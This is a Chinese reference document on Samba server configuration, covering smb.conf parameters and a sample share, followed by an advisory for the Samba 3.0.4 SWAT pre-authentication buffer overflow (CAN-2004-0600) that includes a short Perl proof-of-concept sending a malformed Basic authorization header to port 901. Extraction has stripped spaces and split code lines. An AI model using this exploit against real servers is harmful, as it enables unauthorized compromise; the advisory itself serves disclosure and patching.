Samba服务器配置资料大全.docx

资源描述

Samba服务器配置资料大全.docx

《Samba服务器配置资料大全.docx》由会员分享，可在线阅读，更多相关《Samba服务器配置资料大全.docx（41页珍藏版）》请在冰豆网上搜索。

Samba服务器配置资料大全.docx

Samba服务器配置资料大全

Samba服务器配置资料大全1

1Samba服务器配置文件2

1.1

（1）全局参数2

1.2

（2）资源共享的选项5

1.3（3）特殊变量7

1.4文件实例:

2Samba3.xSWAT预验证远程缓冲区溢出漏洞8

3Samba和Windows的密码处理认证方式10

4linux—windows互联实战经历10

5Samba3.0服务器实战调试12

6SMB的扩展应用16

7Smaba配置文件详细分析

（二）22

1Samba服务器配置文件

/etc/samba/smb.conf

功能:

设置samba服务器选项和共享资源的设置

文件格式:

#说明语句

[global]//定义samba服务器的全局选项

……

全局参数=值

……

[homes]//共享用户主目录

……

资源共享参数=值

……

[printers]//打印机共享

……

资源共享参数=值

……

[public]//共享目录设置

……

资源共享参数=值

……

以上声明为系统自带的声明，用户也可以根据实际需要定义共享目录：

[自定义]//自定义的共享

……

资源共享参数=值

……

说明：

1.1

（1）全局参数

基本全局参数：

Workgroup=域名/工作组名

功能：

设定samba服务器所属工作组/域的名称）

Netbiosname=主机名称

功能：

设置samba服务器的netbios名称

Serverstring=字符串

功能：

设置samba服务器的描述

interfaces=接口名/ip地址

功能：

设置samba服务器的ip地址，如果不想使用默认IP地址或者想同时使用多个IP地址，可以设置这个选项

clientcodepage=850/936

功能:

设定客户端存取samba服务器的资源时所使用的字符编码表

实例:

clientcodepage=936

安全设置参数：

adminusers=用户名

功能：

设置管理员账号

socketaddress=ip地址

功能：

指定samba服务器监听的ip地址

security=user/share/domain/server

功能：

设置samba的共享安全级别

注意：

share//表示共享级访问，服务器不对客户机进行身份验证

user//表示用户级访问

server//表示服务器级访问，被访问的samba服务器请求另一台samba服务器对客户机进行身份验证

domain//表示域级访问，由域控制器对客户机进行身份验证

passwordserver=ip址址/主机名

功能：

指定密码服务器的位置，当security值为server/domain必须设置该参数

encryptpasswords=yes/no

功能：

指定是否使用加密口令

注意：

对于windows客户机来说，该选项应该设置为yes

restrictanonymous=true/false

功能：

指定服务器是否允许winNT/2000以匿名方式登录

实例：

restrictanonymous=false

smbpasswdfile=文件路径

功能：

指定samba用户密码的文件位置

实例：

smbpasswdfile=/etc/samba/smbpasswd

maptoguest=never/baduser/badpassword

功能：

设置当用户所输入的用名和密码不正确时的处理方式

注意：

该选项只有security=share时才有效，该选项可以取以下三种值：

never表示拒绝使用任何资源

baduser表示用户输入用户名正确，但密码错误时,可以允许以guest登录

badpassword表示用户输入的用户名和口令都错误时，可以允许以guest登录

usernamemap=文件路径

功能：

指定SMB用户名与LINUX用户名映射文件的路径

实例：

usernamemap=/etc/samba/smbusers

guestaccount=用户名

功能：

指定来宾账号的名称，默认为nobody

hostsallow=ip地址/主机名／域名

功能：

设置允许访问的客户机

hostsdeny=ip地址/主机名／域名

功能：

设置禁止访问的客户机

打印机设置参数：

printcapname=路径

功能：

设定打印机的配置文件的位置

实例：

printcapname=/etc/printcap

loadprinters=yes/no

功能：

设定是否自动装载打印机的装载文件,当要做打印服务器时必须设置为yes

printing=/cups/bsd/lprng/sysv

功能：

设置打印机相关指令时所采取的模式

实例:

printing=lprng

printername=名称

功能:

设置打印机的名称

日志设置参数:

logfile=路径

功能:

定义日志文件的位置

实例:

logfile=/var/log/samba/%m.log

maxlogsize=数字

功能:

定义日志文件的最大千字节

运行效率参数:

changenotifytimeout=数字

功能:

设置服务器周期性异常通知

实例:

changenotifytimeout=90

deadtime=数字

功能:

客户端无操作多少分钟后服务器中断连接

实例:

deadtime=10

getwdcache=yes/no

功能:

是否启用cache功能

keepalive=数字

功能:

服务器每隔多少秒向客户端发送keepalive包用于确认客户端是否工作正常

maxopenfiles=数字

功能:

同一个客户端最多能打开的文件数目

实例:

maxopenfiles=1000

wins设置参数:

winssupport=yes/no

功能:

是否支持wins解析

实例:

winssupport=yes

winsserver=服务器

功能:

指定wins服务器的位置

实例:

winsserver=192.168.0.2

winsproxy=yes/no

功能:

设置samba服务器是否支持wins代理功能

实例:

winsproxy=yes

1.2

（2）资源共享的选项

基本参数:

comment=说明语句

功能:

对共享资源的说明

path=路径

功能:

共享资源的路径

访问控制参数:

browseable=yes/no

功能:

是否可以浏览共享目录,默认为yes

printable=yes/no

功能:

设置客户机是否可以使用共享打印机打印

avalidable=yes/no

功能:

设置共享资源是否可用

实例:

avalidable=yes

public=yes/no

功能:

设置共享资源是否允许所有用户访问,除guest用户以外

guestok=yes/no

功能:

设置是否允许guest用户访问共享资源

guestonly=yes/no

功能:

设置共享目录只允许guest用户访问

readonly=yes/no

功能:

访问用户对共享资源只读

validusers=用户名/@组名

功能:

设定指定允许访问共享资源的用户/组,多用户名用逗号分开,指定组时要在组名前加@

实例:

valideusers=u1,u2,@g1

invalidusers=用户名/@组名

功能:

设定指定禁止访问共享资源的用户/组,多用户名用逗号分开,指定组时要在组名前加@

createmode=权限值

功能:

指定客户机在共享目录中创建文件的默认权限,默认权限为744

directorymode=0775

功能:

指定客户机共享目录中创建文件目录的默认权限,默认权限为755

writable=yes/no

功能:

指定共享的路径是否可写

writelist=用户名/@组名

功能:

设定允许读写共享目录的用户列表

实例:

writelist=abc,@g2

readlist=用户名/@组名

功能:

设定只读访问用户列表

实例:

readlist=abc,@cuo

自动执行参数：

preexec=路径

功能:

指定客户机连接时要自动执行文件

postexec=路径

功能:

指定客户机断开连接时要自动执行的文件

rootpreexec=路径

功能:

指定客户机连接时要以ROOT用户身份自动执行的文件

实例:

rootpreexec=/bin/mount/dev/cdrom

rootpostexec=路径

功能:

指定客户机断开连接时要以ROOT用户身份自动执行的文件

实例:

rootpostexec=/bin/umount/dev/cdrom

1.3（3）特殊变量

%S（大写）:

当前服务名

%P（大写）:

当前服务的根目录

%u:

当前服务的用户名

%h:

samba服务器的主机名

%m:

客户机的NETBIOS名

%Lsamba服务器的netbios名

%vsamba版本号

%g给定%u的所在的主工作组名

%H给定的%u的宿主目录

%T当前日期和时间

1.4文件实例:

根据以下要求/etc/samba/smb.conf文件:

⏹设置samba服务器的工作组名为linuxgroup,NETBIOS名为linux

⏹设置samba服务器的访问模式为share

⏹共享/soft目录,共享名为soft,该共享目录允许所有的用户读写操作

#vi/etc/samba/smb.conf

修改内容如下:

[global]

Workgroup=linuxgroup

Netbiosname=linux

………

Security=share

………

[homes]

………

[printers]

………

[soft]//添加如下这个声明

comment=applicsoftshared

path=/soft

browseable=yes

writable=yes

guestok=yes

public=yes

2Samba3.xSWAT预验证远程缓冲区溢出漏洞

严重程度：

高

威胁程度：

远程管理员权限

错误类型：

边界检查错误

利用方式：

服务器模式

CVE（CAN）ID：

CAN-2004-0600

受影响系统

Samba3.0.2

Samba3.0.3

Samba3.0.4

详细描述

SWAT是SambaWeb管理工具。

SambaSWAT服务预验证存在缓冲区溢出问题，远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令。

问题存在于source/lib/util_str.c文件中的进行HTTPBasic验证的base64_decode_data_blob函数中.

测试代码

/usr/bin/perl

#Samba3.0.4andprior'sSWATAuthorizationBufferOverflow

#CreatedbyNoamRathausofBeyondSecurityLtd.

useIO:

Socket;

usestrict;

my$host=$ARGV[0];

my$remote=IO:

Socket:

INET->new（Proto=>"tcp",PeerAddr=>$host,PeerPort=>"901"）;

unless（$remote）{die"cannotconnecttohttpdaemonon$host"}

print"connected\n";

$remote->autoflush

（1）;

my$http="GET/HTTP/1.1\r

Host:

$host:

901\r

User-Agent:

Mozilla/5.0（X11;U;Linuxi686;en-US;rv:

1.7）Gecko/20040712Firefox/0.9.1\r

Accept:

text/xml\r

Accept-Language:

en-us,en;q=0.5\r

Accept-Encoding:

gzip,deflate\r

Accept-Charset:

ISO-8859-1,utf-8;q=0.7,*;q=0.7\r

Keep-Alive:

300\r

Connection:

keep-alive\r

Authorization:

Basic=\r

print"HTTP:

[$http]\n";

print$remote$http;

sleep

（1）;

print"Sent\n";

while（<$remote>）

{

print$_;

}

print"\n";

close$remote;

解决方案

下载升级程序：

Samba3.0.5：

http:

//www.samba.org/samba/whatsnew/samba-3.0.5.htm